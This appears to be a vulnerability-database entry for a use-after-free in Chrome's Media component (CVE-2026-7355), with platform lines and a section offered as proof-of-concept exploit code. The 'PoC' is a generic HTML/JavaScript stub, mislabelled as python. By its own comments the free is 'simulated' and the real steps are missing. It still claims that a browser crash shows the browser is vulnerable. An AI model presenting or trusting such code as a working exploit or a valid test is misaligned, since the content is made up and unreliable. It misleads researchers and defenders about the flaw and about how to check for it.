Use after free in Media in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-7355 -->
<!-- This PoC demonstrates the trigger mechanism for the UAF in Chrome Media -->
<html>
<body>
<script>
// Create a media element
var media = document.createElement('video');
document.body.appendChild(media);
// Function to trigger the UAF vulnerability
function trigger_uaf() {
// Step 1: Force the media object into a specific state
media.src = "test.mp4";
// Step 2: Remove the object to trigger free (simulated)
// In a real exploit, specific internal API calls would be used here
// to force a race condition or incorrect ref-counting.
document.body.removeChild(media);
// Step 3: Attempt to access the freed object or reallocate memory
// Successful exploitation would involve Heap Spraying here.
for(var i=0; i<1000; i++) {
var x = new Uint8Array(0x1000);
}
// Step 4: Trigger access violation
// media.play(); // This might crash the browser tab
}
// Trigger automatically for demonstration
window.onload = trigger_uaf;
</script>
<h1>CVE-2026-7355 PoC Test</h1>
<p>If the browser crashes, it is vulnerable.</p>
</body>
</html>